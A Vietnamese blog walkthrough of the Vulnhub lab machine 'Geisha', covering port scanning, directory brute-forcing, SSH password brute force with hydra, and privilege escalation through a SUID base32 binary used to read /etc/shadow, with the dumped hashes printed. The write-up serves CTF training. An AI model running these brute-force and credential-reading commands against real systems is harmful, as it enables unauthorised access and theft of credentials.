[Vulnhub] Geisha Walkthrough

Hello các bạn, lại là mình với series các bài vulnhub đây. Lần này vẫn tiếp tục là một machine của team SunCSR Team. Cùng mình tìm hiểu nhé.

I. Tổng quan

1. Geisha machine

Mình đánh giá đây là một machine không khó lắm của team SunCSR Team với độ khó là Beginner to Intermediate. Tuy nhiên, so với machine loly mình viết lần trước thì sẽ có những yêu cầu khác hơn và các kĩ thuật mới hơn.

Description

Machine Name: Geisha_Sun*
Author: SunCSR Team
Difficulty: Beginner to Intermediate
Tested: VMware Workstation 15.x Pro & VirtualBox 6.x (This works better with VMware rather than VirtualBox)
DHCP: Enabled
Goal: Get the root shell i.e.([email protected]:~#) and then obtain flag under /root).
Warning: Be careful with "rabbit hole".
Information: Your feedback is appreciated - Email: [email protected]

Ở đây, tác giả có một warning về các rabbit hole nên có lẽ sẽ có kha khá cú lừa và ngõ cụt trong bài này rồi.

File Information

Filename: Geisha.zip
File size: 1.5 GB
MD5: 241F2141AD82F1DCE2CC42707B59C86F
SHA1: A920A58B8ABC2AF6E6BBF8CF69EBBFD52BA5C883

Screenshots

II. Exploit

Đầu tiên như bao machine khác, công việc cần làm sẽ là reconnaise machine này và các dịch vụ chạy trên nó

host scan

Command

nmap -sn 192.168.233.1/24

Output

Starting Nmap 7.60 ( https://nmap.org ) at 2020-09-18 08:17 +07
Nmap scan report for i121048-pc (192.168.233.1)
Host is up (0.00016s latency).
Nmap scan report for 192.168.233.130
Host is up (0.00098s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.05 seconds

Ở đây, mình tìm thấy địa chỉ của máy geisha là 192.168.233.130. Tiếp theo là scan các dịch vụ chạy trên machine này

nmap service scan

Command

nmap -v -sV -Pn -p- 192.168.233.130
Output
Starting Nmap 7.60 ( https://nmap.org ) at 2020-09-18 08:22 +07
NSE: Loaded 42 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 08:22
Completed Parallel DNS resolution of 1 host. at 08:22, 0.03s elapsed
Initiating Connect Scan at 08:22
Scanning 192.168.233.130 [65535 ports]
Discovered open port 3389/tcp on 192.168.233.130
Discovered open port 80/tcp on 192.168.233.130
Discovered open port 21/tcp on 192.168.233.130
Discovered open port 22/tcp on 192.168.233.130
Discovered open port 9198/tcp on 192.168.233.130
Discovered open port 8088/tcp on 192.168.233.130
Discovered open port 7080/tcp on 192.168.233.130
Discovered open port 7125/tcp on 192.168.233.130
Completed Connect Scan at 08:22, 1.12s elapsed (65535 total ports)
Initiating Service scan at 08:22
Scanning 8 services on 192.168.233.130
Completed Service scan at 08:22, 22.12s elapsed (8 services on 1 host)
NSE: Script scanning 192.168.233.130.
Initiating NSE at 08:22
Completed NSE at 08:22, 0.12s elapsed
Initiating NSE at 08:22
Completed NSE at 08:22, 0.00s elapsed
Nmap scan report for 192.168.233.130
Host is up (0.0045s latency).
Not shown: 65527 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
3389/tcp open  http     nginx 1.14.2
7080/tcp open  ssl/http LiteSpeed httpd
7125/tcp open  http     nginx 1.17.10
8088/tcp open  http     LiteSpeed httpd
9198/tcp open  http     SimpleHTTPServer 0.6 (Python 2.7.16)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Ở đây, như tác giả đã cảnh báo thì có kha khá dịch vụ trên machine này và chắc hơn nửa chỗ này là bẫy rồi. Dù sao cũng phải scan tiếp các dịch vụ này đã. Trước hết là dịch vụ các dịch vụ web.

dirsearch

Command chung

./dirsearch -u http://192.168.233.130:{port}/ -e *

Output

1. port 80
[08:32:14] Starting: 
[08:32:16] 403 -  280B  - /.htaccess-local
[08:32:16] 403 -  280B  - /.htaccess-dev
[08:32:16] 403 -  280B  - /.htaccess-marco                                                           
[08:32:16] 403 -  280B  - /.htaccess.bak1                                                            
[08:32:16] 403 -  280B  - /.htaccess.old                                                             
[08:32:16] 403 -  280B  - /.htaccess.orig                                                            
[08:32:16] 403 -  280B  - /.htaccess.sample                                                          
[08:32:16] 403 -  280B  - /.htaccess.txt                                                             
[08:32:16] 403 -  280B  - /.htaccess.save                                                            
[08:32:16] 403 -  280B  - /.htaccessBAK                                                              
[08:32:16] 403 -  280B  - /.htaccessOLD                                                              
[08:32:16] 403 -  280B  - /.htaccessOLD2                                                             
[08:32:16] 403 -  280B  - /.htpasswd-old                                                             
[08:32:16] 403 -  280B  - /.httr-oauth                                                               
[08:32:30] 200 -  176B  - /index.html
[08:32:30] 200 -    2B  - /info.php                                                                  
[08:32:37] 403 -  280B  - /server-status
[08:32:37] 403 -  280B  - /server-status/

Task Completed

Có vẻ không có gì thú vị ở đây r

2. port 3389
[08:33:57] Starting: 
[08:34:02] 400 -  173B  - /%2e%2e/google.com
[08:34:08] 200 -  176B  - /index.html

Task Completed

Coi bộ ở đây cũng không vui lắm

3. port 7080
[08:43:05] Starting: 
[08:43:08] 301 -    0B  - /1389.txt  ->  https://192.168.233.130:7080/1389.txt
[08:43:11] 301 -    0B  - /admin1389.txt  ->  https://192.168.233.130:7080/admin1389.txt
[08:43:20] 301 -    0B  - /myadmin1389.txt  ->  https://192.168.233.130:7080/myadmin1389.txt

Task Completed

Có vẻ tiếp tục là cú lừa của tác giả 😃))

4. port 7125
[08:43:37] Starting: 
[08:43:40] 400 -  158B  - /%2e%2e/google.com
[08:43:45] 200 -  175B  - /index.php
[08:43:45] 200 -  175B  - /index.php/login/
[08:43:46] 200 -    1KB - /passwd

Task Completed

Có vẻ có thứ gì đó hay hay ở đây rồi. Có 2 đường dẫn /index.php/login//passwd khá đáng ngờ, thử vào xem.

/index.php/login

Có vẻ chả có gì ở đây cả.

/passwd Ở đây, t thấy 1 file passwd được download về

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
geisha:x:1000:1000:geisha,,,:/home/geisha:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lsadm:x:998:1001::/:/sbin/nologin

Có vẻ hay ho, nhưng cứ xem nốt mấy cổng khác đã.

port 8088
[08:52:30] Starting: 
[08:52:35] 400 -    1KB - /%2e%2e/google.com
[08:52:41] 301 -    1KB - /cgi-bin  ->  http://192.168.233.130:8088/cgi-bin/
[08:52:42] 301 -    1KB - /docs  ->  http://192.168.233.130:8088/docs/
[08:52:42] 200 -    6KB - /docs/
[08:52:43] 200 -  176B  - /index.html
[08:52:44] 200 -    2B  - /info.php

Task Completed

Ở đây cũng không có gì hết

port 9198

[08:54:20] Starting: 
[08:54:26] 200 -  176B  - /index.html
[08:54:26] 200 -    2B  - /info.php

Task Completed

OK, ở đây cũng không có gì.

Vậy là qua các cổng web, gợi ý duy nhất chúng ta có là một file passwd. Nếu cho ta ngai vàng, ta sẽ bán lấy tiền mua bánh ăn, nếu cho ta tên tài khoản thì ta đành tự đi bruteforce vậy. Ở đây, port 22 đang chạy service ssh nên chắc có thể thử bruteforce từ đây.

Bruteforce ssh với hydra

Command

hydra -l geisha -P rockyou.txt 192.168.233.130 ssh

Output

[22][ssh] host: 192.168.233.130   login: geisha   password: letmein

here we gooooo

Giờ ssh vào máy nào

[email protected]:~$ id
uid=1000(geisha) gid=1000(geisha) groups=1000(geisha),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

Kiểm tra quyền sudo của tài khoản này

[email protected]:~$ sudo -l
[sudo] password for geisha: 
Sorry, user geisha may not run sudo on geisha.

Tài khoản này k có quyền sudo, nên thử theo hướng khác vậy. Tìm các suid file trong máy

[email protected]:~$ find / -perm -u+s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/base32
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mount

Note: Tìm hiểu thêm về leo quyền với suid tại bài viết này

Thử tìm kiếm các binary kia trên gtfobins, mình thấy vài thông tin khá hay ho về base32:

Theo đó thì file này sẽ có thể đọc nội dung của 1 file với 2 thao tác là encode và decode:

base32 {file} | base32 --decode

Đầu tiên, thử đọc trong /etc/shadow để lấy password root

[email protected]:~$ base32 /etc/shadow | base32 --decode
root:$6$p/n6gA9F6qb7..aD$d4YNXyKsg.Tam5AoDiOp0T9rWAMAkN55O9.BTyhyOacdXHgpTkpbE9nBe5R35oFzntg7prt3xfdSW9U9Ty1680:18391:0:99999:7:::
daemon:*:18385:0:99999:7:::
bin:*:18385:0:99999:7:::
sys:*:18385:0:99999:7:::
sync:*:18385:0:99999:7:::
games:*:18385:0:99999:7:::
man:*:18385:0:99999:7:::
lp:*:18385:0:99999:7:::
mail:*:18385:0:99999:7:::
news:*:18385:0:99999:7:::
uucp:*:18385:0:99999:7:::
proxy:*:18385:0:99999:7:::
www-data:*:18385:0:99999:7:::
backup:*:18385:0:99999:7:::
list:*:18385:0:99999:7:::
irc:*:18385:0:99999:7:::
gnats:*:18385:0:99999:7:::
nobody:*:18385:0:99999:7:::
_apt:*:18385:0:99999:7:::
systemd-timesync:*:18385:0:99999:7:::
systemd-network:*:18385:0:99999:7:::
systemd-resolve:*:18385:0:99999:7:::
messagebus:*:18385:0:99999:7:::
sshd:*:18385:0:99999:7:::
geisha:$6$T3Eaf.KNaM9VPSMw$J5gIF6yNaKpyEXW77KtMUqtra1aE5sfQvWis48mofoo1L2bpl6vmU5riEDTGrPl0CvdwzuZJMqIp.LIHatkjn.:18391:0:99999:7:::
systemd-coredump:!!:18385::::::
ftp:*:18391:0:99999:7:::

Tuy nhiên, khi chạy john để thử decrypt thì quả thực rất khó để có được mật khẩu root. Vì thế, mình đi theo hướng khác là đọc ssh key của root và ssh vào máy.

ok, giờ lưu file này với quyền 600 và ssh vào thôi.

III. Conclusion

Machine geisha là một machine cơ bản, phù hợp với độ khó trong description là Beginner to Intermediate. Với machine này, chúng ta học cách để enum nhiều nhất có thể, bruteforce và leo quyền với các suid file. Ngoài ra, tác giả đã cài rất nhiều các rabbit hole để người chơi kiên nhẫn hơn, tạo thêm chút khó khăn trong khi giải quyết machine.


All Rights Reserved